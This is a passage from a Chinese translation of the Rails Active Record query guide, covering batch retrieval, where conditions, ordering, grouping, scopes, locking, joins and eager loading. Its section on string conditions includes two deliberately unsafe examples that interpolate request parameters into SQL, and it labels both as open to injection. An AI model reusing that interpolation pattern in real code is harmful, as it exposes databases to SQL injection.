find_in_batches 方法和 find_each 方法类似,两者都是批量检索记录。区别在于,find_in_batches 方法会把一批记录作为模型数组传入块,而不是像 find_each 方法那样逐一把每条记录作为模型传入块。下面的例子每次把 1000 张发票的数组一次性传入块(最后一次传入块的数组中的发票数量可能不到 1000):

+
+# 一次把 1000 张发票组成的数组传给 add_invoices
+Invoice.find_in_batches do |invoices|
+  export.add_invoices(invoices)
+end
+
+
+
+

如前所述,find_in_batches 能处理模型,也能处理关系:

+
+Invoice.pending.find_in_batches do |invoice|
+  pending_invoices_export.add_invoices(invoices)
+end
+
+
+
+

但是关系不能有顺序,因为这个方法在迭代时有既定的顺序。

1.2.2.1 find_in_batches 方法的选项

find_in_batches 方法接受的选项与 find_each 方法一样。

2 条件查询

where 方法用于指明限制返回记录所使用的条件,相当于 SQL 语句的 WHERE 部分。条件可以使用字符串、数组或散列指定。

2.1 纯字符串条件

可以直接用纯字符串为查找添加条件。例如,Client.where("orders_count = '2'") 会查找所有 orders_count 字段的值为 2 的客户记录。

使用纯字符串创建条件存在容易受到 SQL 注入攻击的风险。例如,Client.where("first_name LIKE '%#{params[:first_name]}%'") 是不安全的。在下一节中我们会看到,使用数组创建条件是推荐的做法。

2.2 数组条件

如果 Client.where("orders_count = '2'") 这个例子中的数字是变化的,比如说是从别处传递过来的参数,那么可以像下面这样进行查找:

+
+Client.where("orders_count = ?", params[:orders])
+
+
+
+

Active Record 会把第一个参数作为条件字符串,并用之后的其他参数来替换条件字符串中的问号(?)。

我们还可以指定多个条件:

+
+Client.where("orders_count = ? AND locked = ?", params[:orders], false)
+
+
+
+

在上面的例子中,第一个问号会被替换为 params[:orders] 的值,第二个问号会被替换为 false 在 SQL 中对应的值,这个值是什么取决于所使用的数据库适配器。

强烈推荐使用下面这种写法:

+
+Client.where("orders_count = ?", params[:orders])
+
+
+
+

而不是:

+
+Client.where("orders_count = #{params[:orders]}")
+
+
+
+

原因是出于参数的安全性考虑。把变量直接放入条件字符串会导致变量原封不动地传递给数据库,这意味着即使是恶意用户提交的变量也不会被转义。这样一来,整个数据库就处于风险之中,因为一旦恶意用户发现自己能够滥用数据库,他就可能做任何事情。所以,永远不要把参数直接放入条件字符串。

关于 SQL 注入的危险性的更多介绍,请参阅 SQL 注入

2.2.1 条件中的占位符

和问号占位符(?)类似,我们还可以在条件字符串中使用符号占位符,并通过散列提供符号对应的值:

+
+Client.where("created_at >= :start_date AND created_at <= :end_date",
+  {start_date: params[:start_date], end_date: params[:end_date]})
+
+
+
+

如果条件中有很多变量,那么上面这种写法的可读性更高。

2.3 散列条件

Active Record 还允许使用散列条件,以提高条件语句的可读性。使用散列条件时,散列的键指明需要限制的字段,键对应的值指明如何进行限制。

在散列条件中,只能进行相等性、范围和子集检查。

2.3.1 相等性条件
+
+Client.where(locked: true)
+
+
+
+

上面的代码会生成下面的 SQL 语句:

+
+SELECT * FROM clients WHERE (clients.locked = 1)
+
+
+
+

其中字段名也可以是字符串:

+
+Client.where('locked' => true)
+
+
+
+

对于 belongs_to 关联来说,如果使用 Active Record 对象作为值,就可以使用关联键来指定模型。这种方法也适用于多态关联。

+
+Article.where(author: author)
+Author.joins(:articles).where(articles: { author: author })
+
+
+
+

相等性条件中的值不能是符号。例如,Client.where(status: :active) 这种写法是错误的。

2.3.2 范围条件
+
+Client.where(created_at: (Time.now.midnight - 1.day)..Time.now.midnight)
+
+
+
+

上面的代码会使用 BETWEEN SQL 表达式查找所有昨天创建的客户记录:

+
+SELECT * FROM clients WHERE (clients.created_at BETWEEN '2008-12-21 00:00:00' AND '2008-12-22 00:00:00')
+
+
+
+

这是 数组条件中那个示例代码的更简短的写法。

2.3.3 子集条件

要想用 IN 表达式来查找记录,可以在散列条件中使用数组:

+
+Client.where(orders_count: [1,3,5])
+
+
+
+

上面的代码会生成下面的 SQL 语句:

+
+SELECT * FROM clients WHERE (clients.orders_count IN (1,3,5))
+
+
+
+

2.4 NOT 条件

可以用 where.not 创建 NOT SQL 查询:

+
+Client.where.not(locked: true)
+
+
+
+

也就是说,先调用没有参数的 where 方法,然后马上链式调用 not 方法,就可以生成这个查询。上面的代码会生成下面的 SQL 语句:

+
+SELECT * FROM clients WHERE (clients.locked != 1)
+
+
+
+

3 排序

要想按特定顺序从数据库中检索记录,可以使用 order 方法。

例如,如果想按 created_at 字段的升序方式取回记录:

+
+Client.order(:created_at)
+# 或
+Client.order("created_at")
+
+
+
+

还可以使用 ASC(升序) 或 DESC(降序) 指定排序方式:

+
+Client.order(created_at: :desc)
+# 或
+Client.order(created_at: :asc)
+# 或
+Client.order("created_at DESC")
+# 或
+Client.order("created_at ASC")
+
+
+
+

或按多个字段排序:

+
+Client.order(orders_count: :asc, created_at: :desc)
+# 或
+Client.order(:orders_count, created_at: :desc)
+# 或
+Client.order("orders_count ASC, created_at DESC")
+# 或
+Client.order("orders_count ASC", "created_at DESC")
+
+
+
+

如果多次调用 order 方法,后续排序会在第一次排序的基础上进行:

+
+Client.order("orders_count ASC").order("created_at DESC")
+# SELECT * FROM clients ORDER BY orders_count ASC, created_at DESC
+
+
+
+

使用 MySQL 5.7.5 及以上版本时,若想从结果集合中选择字段,要使用 selectpluckids 等方法。如果 order 子句中使用的字段不在选择列表中,order 方法抛出 ActiveRecord::StatementInvalid 异常。从结果集合中选择字段的方法参见下一节。

4 选择特定字段

Model.find 默认使用 select * 从结果集中选择所有字段。

可以使用 select 方法从结果集中选择字段的子集。

例如,只选择 viewable_bylocked 字段:

+
+Client.select("viewable_by, locked")
+
+
+
+

上面的代码会生成下面的 SQL 语句:

+
+SELECT viewable_by, locked FROM clients
+
+
+
+

请注意,上面的代码初始化的模型对象只包含了所选择的字段,这时如果访问这个模型对象未包含的字段就会抛出异常:

+
+ActiveModel::MissingAttributeError: missing attribute: <attribute>
+
+
+
+

其中 <attribute> 是我们想要访问的字段。id 方法不会引发 ActiveRecord::MissingAttributeError 异常,因此在使用关联时一定要小心,因为只有当 id 方法正常工作时关联才能正常工作。

在查询时如果想让某个字段的同值记录只出现一次,可以使用 distinct 方法添加唯一性约束:

+
+Client.select(:name).distinct
+
+
+
+

上面的代码会生成下面的 SQL 语句:

+
+SELECT DISTINCT name FROM clients
+
+
+
+

唯一性约束在添加之后还可以删除:

+
+query = Client.select(:name).distinct
+# => 返回无重复的名字
+
+query.distinct(false)
+# => 返回所有名字,即使有重复
+
+
+
+

5 限量和偏移量

要想在 Model.find 生成的 SQL 语句中使用 LIMIT 子句,可以在关联上使用 limitoffset 方法。

limit 方法用于指明想要取回的记录数量,offset 方法用于指明取回记录时在第一条记录之前要跳过多少条记录。例如:

+
+Client.limit(5)
+
+
+
+

上面的代码会返回 5 条客户记录,因为没有使用 offset 方法,所以返回的这 5 条记录就是前 5 条记录。生成的 SQL 语句如下:

+
+SELECT * FROM clients LIMIT 5
+
+
+
+

如果使用 offset 方法:

+
+Client.limit(5).offset(30)
+
+
+
+

这时会返回从第 31 条记录开始的 5 条记录。生成的 SQL 语句如下:

+
+SELECT * FROM clients LIMIT 5 OFFSET 30
+
+
+
+

6 分组

要想在查找方法生成的 SQL 语句中使用 GROUP BY 子句,可以使用 group 方法。

例如,如果我们想根据订单创建日期查找订单记录:

+
+Order.select("date(created_at) as ordered_date, sum(price) as total_price").group("date(created_at)")
+
+
+
+

上面的代码会为数据库中同一天创建的订单创建 Order 对象。生成的 SQL 语句如下:

+
+SELECT date(created_at) as ordered_date, sum(price) as total_price
+FROM orders
+GROUP BY date(created_at)
+
+
+
+

6.1 分组项目的总数

要想得到一次查询中分组项目的总数,可以在调用 group 方法后调用 count 方法。

+
+Order.group(:status).count
+# => { 'awaiting_approval' => 7, 'paid' => 12 }
+
+
+
+

上面的代码会生成下面的 SQL 语句:

+
+SELECT COUNT (*) AS count_all, status AS status
+FROM "orders"
+GROUP BY status
+
+
+
+

7 having 方法

SQL 语句用 HAVING 子句指明 GROUP BY 字段的约束条件。要想在 Model.find 生成的 SQL 语句中使用 HAVING 子句,可以使用 having 方法。例如:

+
+Order.select("date(created_at) as ordered_date, sum(price) as total_price").
+  group("date(created_at)").having("sum(price) > ?", 100)
+
+
+
+

上面的代码会生成下面的 SQL 语句:

+
+SELECT date(created_at) as ordered_date, sum(price) as total_price
+FROM orders
+GROUP BY date(created_at)
+HAVING sum(price) > 100
+
+
+
+

上面的查询会返回每个 Order 对象的日期和总价,查询结果按日期分组并排序,并且总价必须高于 100。

8 条件覆盖

8.1 unscope 方法

可以使用 unscope 方法删除某些条件。 例如:

+
+Article.where('id > 10').limit(20).order('id asc').unscope(:order)
+
+
+
+

上面的代码会生成下面的 SQL 语句:

+
+SELECT * FROM articles WHERE id > 10 LIMIT 20
+
+# 没使用 `unscope` 之前的查询
+SELECT * FROM articles WHERE id > 10 ORDER BY id asc LIMIT 20
+
+
+
+

还可以使用 unscope 方法删除 where 方法中的某些条件。例如:

+
+Article.where(id: 10, trashed: false).unscope(where: :id)
+# SELECT "articles".* FROM "articles" WHERE trashed = 0
+
+
+
+

在关联中使用 unscope 方法,会对整个关联造成影响:

+
+Article.order('id asc').merge(Article.unscope(:order))
+# SELECT "articles".* FROM "articles"
+
+
+
+

8.2 only 方法

可以使用 only 方法覆盖某些条件。例如:

+
+Article.where('id > 10').limit(20).order('id desc').only(:order, :where)
+
+
+
+

上面的代码会生成下面的 SQL 语句:

+
+SELECT * FROM articles WHERE id > 10 ORDER BY id DESC
+
+# 没使用 `only` 之前的查询
+SELECT "articles".* FROM "articles" WHERE (id > 10) ORDER BY id desc LIMIT 20
+
+
+
+

8.3 reorder 方法

可以使用 reorder 方法覆盖默认作用域中的排序方式。例如:

+
+class Article < ApplicationRecord
+  has_many :comments, -> { order('posted_at DESC') }
+end
+
+
+
+
+
+Article.find(10).comments.reorder('name')
+
+
+
+

上面的代码会生成下面的 SQL 语句:

+
+SELECT * FROM articles WHERE id = 10
+SELECT * FROM comments WHERE article_id = 10 ORDER BY name
+
+
+
+

如果不使用 reorder 方法,那么会生成下面的 SQL 语句:

+
+SELECT * FROM articles WHERE id = 10
+SELECT * FROM comments WHERE article_id = 10 ORDER BY posted_at DESC
+
+
+
+

8.4 reverse_order 方法

可以使用 reverse_order 方法反转排序条件。

+
+Client.where("orders_count > 10").order(:name).reverse_order
+
+
+
+

上面的代码会生成下面的 SQL 语句:

+
+SELECT * FROM clients WHERE orders_count > 10 ORDER BY name DESC
+
+
+
+

如果查询时没有使用 order 方法,那么 reverse_order 方法会使查询结果按主键的降序方式排序。

+
+Client.where("orders_count > 10").reverse_order
+
+
+
+

上面的代码会生成下面的 SQL 语句:

+
+SELECT * FROM clients WHERE orders_count > 10 ORDER BY clients.id DESC
+
+
+
+

reverse_order 方法不接受任何参数。

8.5 rewhere 方法

可以使用 rewhere 方法覆盖 where 方法中指定的条件。例如:

+
+Article.where(trashed: true).rewhere(trashed: false)
+
+
+
+

上面的代码会生成下面的 SQL 语句:

+
+SELECT * FROM articles WHERE `trashed` = 0
+
+
+
+

如果不使用 rewhere 方法而是再次使用 where 方法:

+
+Article.where(trashed: true).where(trashed: false)
+
+
+
+

会生成下面的 SQL 语句:

+
+SELECT * FROM articles WHERE `trashed` = 1 AND `trashed` = 0
+
+
+
+

9 空关系

none 方法返回可以在链式调用中使用的、不包含任何记录的空关系。在这个空关系上应用后续条件链,会继续生成空关系。对于可能返回零结果、但又需要在链式调用中使用的方法或作用域,可以使用 none 方法来提供返回值。

+
+Article.none # 返回一个空 Relation 对象,而且不执行查询
+
+
+
+
+
+# 下面的 visible_articles 方法期待返回一个空 Relation 对象
+@articles = current_user.visible_articles.where(name: params[:name])
+
+def visible_articles
+  case role
+  when 'Country Manager'
+    Article.where(country: country)
+  when 'Reviewer'
+    Article.published
+  when 'Bad User'
+    Article.none # => 如果这里返回 [] 或 nil,会导致调用方出错
+  end
+end
+
+
+
+

10 只读对象

在关联中使用 Active Record 提供的 readonly 方法,可以显式禁止修改任何返回对象。如果尝试修改只读对象,不但不会成功,还会抛出 ActiveRecord::ReadOnlyRecord 异常。

+
+client = Client.readonly.first
+client.visits += 1
+client.save
+
+
+
+

在上面的代码中,client 被显式设置为只读对象,因此在更新 client.visits 的值后调用 client.save 会抛出 ActiveRecord::ReadOnlyRecord 异常。

11 在更新时锁定记录

在数据库中,锁定用于避免更新记录时的条件竞争,并确保原子更新。

Active Record 提供了两种锁定机制:

+
    +
  • 乐观锁定
  • +
  • 悲观锁定
  • +
+

11.1 乐观锁定

乐观锁定允许多个用户访问并编辑同一记录,并假设数据发生冲突的可能性最小。其原理是检查读取记录后是否有其他进程尝试更新记录,如果有就抛出 ActiveRecord::StaleObjectError 异常,并忽略该更新。

11.1.1 字段的乐观锁定

为了使用乐观锁定,数据表中需要有一个整数类型的 lock_version 字段。每次更新记录时,Active Record 都会增加 lock_version 字段的值。如果更新请求中 lock_version 字段的值比当前数据库中 lock_version 字段的值小,更新请求就会失败,并抛出 ActiveRecord::StaleObjectError 异常。例如:

+
+c1 = Client.find(1)
+c2 = Client.find(1)
+
+c1.first_name = "Michael"
+c1.save
+
+c2.name = "should fail"
+c2.save # 抛出 ActiveRecord::StaleObjectError
+
+
+
+

抛出异常后,我们需要救援异常并处理冲突,或回滚,或合并,或应用其他业务逻辑来解决冲突。

通过设置 ActiveRecord::Base.lock_optimistically = false 可以关闭乐观锁定。

可以使用 ActiveRecord::Base 提供的 locking_column 类属性来覆盖 lock_version 字段名:

+
+class Client < ApplicationRecord
+  self.locking_column = :lock_client_column
+end
+
+
+
+

11.2 悲观锁定

悲观锁定使用底层数据库提供的锁定机制。在创建关联时使用 lock 方法,会在选定字段上生成互斥锁。使用 lock 方法的关联通常被包装在事务中,以避免发生死锁。例如:

+
+Item.transaction do
+  i = Item.lock.first
+  i.name = 'Jones'
+  i.save!
+end
+
+
+
+

对于 MySQL 后端,上面的会话会生成下面的 SQL 语句:

+
+SQL (0.2ms)   BEGIN
+Item Load (0.3ms)   SELECT * FROM `items` LIMIT 1 FOR UPDATE
+Item Update (0.4ms)   UPDATE `items` SET `updated_at` = '2009-02-07 18:05:56', `name` = 'Jones' WHERE `id` = 1
+SQL (0.8ms)   COMMIT
+
+
+
+

要想支持其他锁定类型,可以直接传递 SQL 给 lock 方法。例如,MySQL 的 LOCK IN SHARE MODE 表达式在锁定记录时允许其他查询读取记录,这个表达式可以用作锁定选项:

+
+Item.transaction do
+  i = Item.lock("LOCK IN SHARE MODE").find(1)
+  i.increment!(:views)
+end
+
+
+
+

对于已有模型实例,可以启动事务并一次性获取锁:

+
+item = Item.first
+item.with_lock do
+  # 这个块在事务中调用
+  # item 已经锁定
+  item.increment!(:views)
+end
+
+
+
+

12 联结表

Active Record 提供了 joinsleft_outer_joins 这两个查找方法,用于指明生成的 SQL 语句中的 JOIN 子句。其中,joins 方法用于 INNER JOIN 查询或定制查询,left_outer_joins 用于 LEFT OUTER JOIN 查询。

12.1 joins 方法

joins 方法有多种用法。

12.1.1 使用字符串 SQL 片段

joins 方法中可以直接用 SQL 指明 JOIN 子句:

+
+Author.joins("INNER JOIN posts ON posts.author_id = authors.id AND posts.published = 't'")
+
+
+
+

上面的代码会生成下面的 SQL 语句:

+
+SELECT authors.* FROM authors INNER JOIN posts ON posts.author_id = authors.id AND posts.published = 't'
+
+
+
+

12.1.2 使用具名关联数组或散列

使用 joins 方法时,Active Record 允许我们使用在模型上定义的关联的名称,作为指明这些关联的 JOIN 子句的快捷方式。

例如,假设有 CategoryArticleCommentGuestTag 这几个模型:

+
+class Category < ApplicationRecord
+  has_many :articles
+end
+
+class Article < ApplicationRecord
+  belongs_to :category
+  has_many :comments
+  has_many :tags
+end
+
+class Comment < ApplicationRecord
+  belongs_to :article
+  has_one :guest
+end
+
+class Guest < ApplicationRecord
+  belongs_to :comment
+end
+
+class Tag < ApplicationRecord
+  belongs_to :article
+end
+
+
+
+

下面几种用法都会使用 INNER JOIN 生成我们想要的关联查询。

(译者注:原文此处开始出现编号错误,由译者根据内容逻辑关系进行了修正。)

12.1.2.1 单个关联的联结
+
+Category.joins(:articles)
+
+
+
+

上面的代码会生成下面的 SQL 语句:

+
+SELECT categories.* FROM categories
+  INNER JOIN articles ON articles.category_id = categories.id
+
+
+
+

这个查询的意思是把所有包含了文章的(非空)分类作为一个 Category 对象返回。请注意,如果多篇文章同属于一个分类,那么这个分类会在 Category 对象中出现多次。要想让每个分类只出现一次,可以使用 Category.joins(:articles).distinct

12.1.2.2 多个关联的联结
+
+Article.joins(:category, :comments)
+
+
+
+

上面的代码会生成下面的 SQL 语句:

+
+SELECT articles.* FROM articles
+  INNER JOIN categories ON articles.category_id = categories.id
+  INNER JOIN comments ON comments.article_id = articles.id
+
+
+
+

这个查询的意思是把所有属于某个分类并至少拥有一条评论的文章作为一个 Article 对象返回。同样请注意,拥有多条评论的文章会在 Article 对象中出现多次。

12.1.2.3 单层嵌套关联的联结
+
+Article.joins(comments: :guest)
+
+
+
+

上面的代码会生成下面的 SQL 语句:

+
+SELECT articles.* FROM articles
+  INNER JOIN comments ON comments.article_id = articles.id
+  INNER JOIN guests ON guests.comment_id = comments.id
+
+
+
+

这个查询的意思是把所有拥有访客评论的文章作为一个 Article 对象返回。

12.1.2.4 多层嵌套关联的联结
+
+Category.joins(articles: [{ comments: :guest }, :tags])
+
+
+
+

上面的代码会生成下面的 SQL 语句:

+
+SELECT categories.* FROM categories
+  INNER JOIN articles ON articles.category_id = categories.id
+  INNER JOIN comments ON comments.article_id = articles.id
+  INNER JOIN guests ON guests.comment_id = comments.id
+  INNER JOIN tags ON tags.article_id = articles.id
+
+
+
+

这个查询的意思是把所有包含文章的分类作为一个 Category 对象返回,其中这些文章都拥有访客评论并且带有标签。

12.1.3 为联结表指明条件

可以使用普通的数组和字符串条件作为关联数据表的条件。但如果想使用散列条件作为关联数据表的条件,就需要使用特殊语法了:

+
+time_range = (Time.now.midnight - 1.day)..Time.now.midnight
+Client.joins(:orders).where('orders.created_at' => time_range)
+
+
+
+

还有一种更干净的替代语法,即嵌套使用散列条件:

+
+time_range = (Time.now.midnight - 1.day)..Time.now.midnight
+Client.joins(:orders).where(orders: { created_at: time_range })
+
+
+
+

这个查询会查找所有在昨天创建过订单的客户,在生成的 SQL 语句中同样使用了 BETWEEN SQL 表达式。

12.2 left_outer_joins 方法

如果想要选择一组记录,而不管它们是否具有关联记录,可以使用 left_outer_joins 方法。

+
+Author.left_outer_joins(:posts).distinct.select('authors.*, COUNT(posts.*) AS posts_count').group('authors.id')
+
+
+
+

上面的代码会生成下面的 SQL 语句:

+
+SELECT DISTINCT authors.*, COUNT(posts.*) AS posts_count FROM "authors"
+LEFT OUTER JOIN posts ON posts.author_id = authors.id GROUP BY authors.id
+
+
+
+

这个查询的意思是返回所有作者和每位作者的帖子数,而不管这些作者是否发过帖子。

13 及早加载关联

及早加载是一种用于加载 Model.find 返回对象的关联记录的机制,目的是尽可能减少查询次数。

N + 1 查询问题

假设有如下代码,查找 10 条客户记录并打印这些客户的邮编:

+
+clients = Client.limit(10)
+
+clients.each do |client|
+  puts client.address.postcode
+end
+
+
+
+

上面的代码第一眼看起来不错,但实际上存在查询总次数较高的问题。这段代码总共需要执行 1(查找 10 条客户记录)+ 10(每条客户记录都需要加载地址)= 11 次查询。

N + 1 查询问题的解决办法

Active Record 允许我们提前指明需要加载的所有关联,这是通过在调用 Model.find 时指明 includes 方法实现的。通过指明 includes 方法,Active Record 会使用尽可能少的查询来加载所有已指明的关联。

回到之前 N + 1 查询问题的例子,我们重写其中的 Client.limit(10) 来使用及早加载:

+
+clients = Client.includes(:address).limit(10)
+
+clients.each do |client|
+  puts client.address.postcode
+end
+
+
+
+

上面的代码只执行 2 次查询,而不是之前的 11 次查询:

+
+SELECT * FROM clients LIMIT 10
+SELECT addresses.* FROM addresses
+  WHERE (addresses.client_id IN (1,2,3,4,5,6,7,8,9,10))
+
+
+
+

13.1 及早加载多个关联

通过在 includes 方法中使用数组、散列或嵌套散列,Active Record 允许我们在一次 Model.find 调用中及早加载任意数量的关联。

13.1.1 多个关联的数组
+
+Article.includes(:category, :comments)
+
+
+
+

上面的代码会加载所有文章、所有关联的分类和每篇文章的所有评论。

13.1.2 嵌套关联的散列
+
+Category.includes(articles: [{ comments: :guest }, :tags]).find(1)
+
+
+
+

上面的代码会查找 ID 为 1 的分类,并及早加载所有关联的文章、这些文章关联的标签和评论,以及这些评论关联的访客。

13.2 为关联的及早加载指明条件

尽管 Active Record 允许我们像 joins 方法那样为关联的及早加载指明条件,但推荐的方式是使用联结

尽管如此,在必要时仍然可以用 where 方法来为关联的及早加载指明条件。

+
+Article.includes(:comments).where(comments: { visible: true })
+
+
+
+

上面的代码会生成使用 LEFT OUTER JOIN 子句的 SQL 语句,而 joins 方法会成生使用 INNER JOIN 子句的 SQL 语句。

+
+SELECT "articles"."id" AS t0_r0, ... "comments"."updated_at" AS t1_r5 FROM "articles" LEFT OUTER JOIN "comments" ON "comments"."article_id" = "articles"."id" WHERE (comments.visible = 1)
+
+
+
+

如果上面的代码没有使用 where 方法,就会生成常规的一组两条查询语句。

要想像上面的代码那样使用 where 方法,必须在 where 方法中使用散列。如果想要在 where 方法中使用字符串 SQL 片段,就必须用 references 方法强制使用联结表:

+
+Article.includes(:comments).where("comments.visible = true").references(:comments)
+
+
+
+

通过在 where 方法中使用字符串 SQL 片段并使用 references 方法这种方式,即使一条评论都没有,所有文章仍然会被加载。而在使用 joins 方法(INNER JOIN)时,必须匹配关联条件,否则一条记录都不会返回。

14 作用域

作用域允许我们把常用查询定义为方法,然后通过在关联对象或模型上调用方法来引用这些查询。fotnote:[“作用域”和“作用域方法”在本文中是一个意思。——译者注]在作用域中,我们可以使用之前介绍过的所有方法,如 wherejoinincludes 方法。所有作用域都会返回 ActiveRecord::Relation 对象,这样就可以继续在这个对象上调用其他方法(如其他作用域)。

要想定义简单的作用域,我们可以在类中通过 scope 方法定义作用域,并传入调用这个作用域时执行的查询。

+
+class Article < ApplicationRecord
+  scope :published, -> { where(published: true) }
+end
+
+
+
+

通过上面这种方式定义作用域和通过定义类方法来定义作用域效果完全相同,至于使用哪种方式只是个人喜好问题:

+
+class Article < ApplicationRecord
+  def self.published
+    where(published: true)
+  end
+end
+
+
+
+

在作用域中可以链接其他作用域:

+
+class Article < ApplicationRecord
+  scope :published,               -> { where(published: true) }
+  scope :published_and_commented, -> { published.where("comments_count > 0") }
+end
+
+
+
+

我们可以在模型上调用 published 作用域:

+
+Article.published # => [published articles]
+
+
+
+

或在多个 Article 对象组成的关联对象上调用 published 作用域:

+
+category = Category.first
+category.articles.published # => [published articles belonging to this category]
+
+
+
+

14.1 传入参数

作用域可以接受参数:

+
+class Article < ApplicationRecord
+  scope :created_before, ->(time) { where("created_at < ?", time) }
+end
+
+
+
+

调用作用域和调用类方法一样:

+
+Article.created_before(Time.zone.now)
+
+
+
+

不过这只是复制了本该通过类方法提供给我们的的功能。

+
+class Article < ApplicationRecord
+  def self.created_before(time)
+    where("created_at < ?", time)
+  end
+end
+
+
+
+

当作用域需要接受参数时,推荐改用类方法。使用类方法时,这些方法仍然可以在关联对象上访问:

+
+category.articles.created_before(time)
+
+
+
+

14.2 使用条件

我们可以在作用域中使用条件:

+
+class Article < ApplicationRecord
+  scope :created_before, ->(time) { where("created_at < ?", time) if time.present? }
+end
+
+
+
+

和之前的例子一样,作用域的这一行为也和类方法类似。

+
+class Article < ApplicationRecord
+  def self.created_before(time)
+    where("created_at < ?", time) if time.present?
+  end
+end
+
+
+
+

不过有一点需要特别注意:不管条件的值是 true 还是 false,作用域总是返回 ActiveRecord::Relation 对象,而当条件是 false 时,类方法返回的是 nil。因此,当链接带有条件的类方法时,如果任何一个条件的值是 false,就会引发 NoMethodError 异常。

14.3 应用默认作用域

要想在模型的所有查询中应用作用域,我们可以在这个模型上使用 default_scope 方法。

+
+class Client < ApplicationRecord
+  default_scope { where("removed_at IS NULL") }
+end
+
+
+
+

应用默认作用域后,在这个模型上执行查询,会生成下面这样的 SQL 语句:

+
+SELECT * FROM clients WHERE removed_at IS NULL
+
+
+
+

如果想用默认作用域做更复杂的事情,我们也可以把它定义为类方法:

+
+class Client < ApplicationRecord
+  def self.default_scope
+    # 应该返回一个 ActiveRecord::Relation 对象
+  end
+end
+
+
+
+

默认作用域在创建记录时同样起作用,但在更新记录时不起作用。例如:

+
+class Client < ApplicationRecord
+  default_scope { where(active: true) }
+end
+
+Client.new          # => #<Client id: nil, active: true>
+Client.unscoped.new # => #<Client id: nil, active: nil>
+
+
+
+

14.4 合并作用域

WHERE 子句一样,我们用 AND 来合并作用域。

+
+class User < ApplicationRecord
+  scope :active, -> { where state: 'active' }
+  scope :inactive, -> { where state: 'inactive' }
+end
+
+User.active.inactive
+# SELECT "users".* FROM "users" WHERE "users"."state" = 'active' AND "users"."state" = 'inactive'
+
+
+
+

我们可以混合使用 scopewhere 方法,这样最后生成的 SQL 语句会使用 AND 连接所有条件。

+
+User.active.where(state: 'finished')
+# SELECT "users".* FROM "users" WHERE "users"."state" = 'active' AND "users"."state" = 'finished'
+
+
+
+

如果使用 Relation#merge 方法,那么在发生条件冲突时总是最后的 WHERE 子句起作用。

+
+User.active.merge(User.inactive)
+# SELECT "users".* FROM "users" WHERE "users"."state" = 'inactive'
+
+
+
+

有一点需要特别注意,default_scope 总是在所有 scopewhere 之前起作用。

+
+class User < ApplicationRecord
+  default_scope { where state: 'pending' }
+  scope :active, -> { where state: 'active' }
+  scope :inactive, -> { where state: 'inactive' }
+end
+
+User.all
+# SELECT "users".* FROM "users" WHERE "users"."state" = 'pending'
+
+User.active
+# SELECT "users".* FROM "users" WHERE "users"."state" = 'pending' AND "users"."state" = 'active'
+
+User.where(state: 'inactive')
+# SELECT "users".* FROM "users" WHERE "users"."state" = 'pending' AND "users"."state" = 'inactive'
+
+
+
+

在上面的代码中我们可以看到,在 scope 条件和 where 条件中都合并了 default_scope 条件。

14.5 删除所有作用域

在需要时,可以使用 unscoped 方法删除作用域。如果在模型中定义了默认作用域,但在某次查询中又不想应用默认作用域,这时就可以使用 unscoped 方法。

+
+Client.unscoped.load
+
+
+
+

unscoped 方法会删除所有作用域,仅在数据表上执行常规查询。

+
+Client.unscoped.all
+# SELECT "clients".* FROM "clients"
+
+Client.where(published: false).unscoped.all
+# SELECT "clients".* FROM "clients"
+
+
+
+

unscoped 方法也接受块作为参数。

+
+Client.unscoped {
+  Client.created_before(Time.zone.now)
+}
+
+
+
+

15 动态查找方法

Active Record 为数据表中的每个字段(也称为属性)都提供了查找方法(也就是动态查找方法)。例如,对于 Client 模型的 first_name 字段,Active Record 会自动生成 find_by_first_name 查找方法。对于 Client 模型的 locked 字段,Active Record 会自动生成 find_by_locked 查找方法。

在调用动态查找方法时可以在末尾加上感叹号(!),例如 Client.find_by_name!("Ryan"),这样如果动态查找方法没有返回任何记录,就会抛出 ActiveRecord::RecordNotFound 异常。

如果想同时查询 first_namelocked 字段,可以在动态查找方法中用 and 把这两个字段连起来,例如 Client.find_by_first_name_and_locked("Ryan", true)

16 enum

enum 宏把整数字段映射为一组可能的值。

+
+class Book < ApplicationRecord
+  enum availability: [:available, :unavailable]
+end
+
+
+
+

上面的代码会自动创建用于查询模型的对应作用域,同时会添加用于转换状态和查询当前状态的方法。

+
+# 下面的示例只查询可用的图书
+Book.available
+# 或
+Book.where(availability: :available)
+
+book = Book.new(availability: :available)
+book.available?   # => true
+book.unavailable! # => true
+book.available?   # => false
+
+
+
+

请访问 Rails API 文档,查看 enum 宏的完整文档。

17 理解方法链

Active Record 实现方法链的方式既简单又直接,有了方法链我们就可以同时使用多个 Active Record 方法。

当之前的方法调用返回 ActiveRecord::Relation 对象时,例如 allwherejoins 方法,我们就可以在语句中把方法连接起来。返回单个对象的方法(请参阅 检索单个对象)必须位于语句的末尾。

下面给出了一些例子。本文无法涵盖所有的可能性,这里给出的只是很少的一部分例子。在调用 Active Record 方法时,查询不会立即生成并发送到数据库,这些操作只有在实际需要数据时才会执行。下面的每个例子都会生成一次查询。

17.1 从多个数据表中检索过滤后的数据

+
+Person
+  .select('people.id, people.name, comments.text')
+  .joins(:comments)
+  .where('comments.created_at > ?', 1.week.ago)
+
+
+
+

上面的代码会生成下面的 SQL 语句:

+
+SELECT people.id, people.name, comments.text
+FROM people
+INNER JOIN comments
+  ON comments.person_id = people.id
+WHERE comments.created_at > '2015-01-01'
+
+
+
+

17.2 从多个数据表中检索特定的数据

+
+Person
+  .select('people.id, people.name, companies.name')
+  .joins(:company)
+  .find_by('people.name' => 'John') # this should be the last
+
+
+
+

上面的代码会生成下面的 SQL 语句:

+
+SELECT people.id, people.name, companies.name
+FROM people
+INNER JOIN companies
+  ON companies.person_id = people.id
+WHERE people.name = 'John'
+LIMIT 1
+
+
+
+

请注意,如果查询匹配多条记录,find_by 方法会取回第一条记录并忽略其他记录(如上面的 SQL 语句中的 LIMIT 1)。

18 查找或创建新对象

我们经常需要查找记录并在找不到记录时创建记录,这时我们可以使用 find_or_create_byfind_or_create_by! 方法。

18.1 find_or_create_by 方法

find_or_create_by 方法检查具有指定属性的记录是否存在。如果记录不存在,就调用 create 方法创建记录。让我们看一个例子。

假设我们在查找名为“Andy”的用户记录,但是没找到,因此要创建这条记录。这时我们可以执行下面的代码:

+
+Client.find_or_create_by(first_name: 'Andy')
+# => #<Client id: 1, first_name: "Andy", orders_count: 0, locked: true, created_at: "2011-08-30 06:09:27", updated_at: "2011-08-30 06:09:27">
+
+
+
+

上面的代码会生成下面的 SQL 语句:

+
+SELECT * FROM clients WHERE (clients.first_name = 'Andy') LIMIT 1
+BEGIN
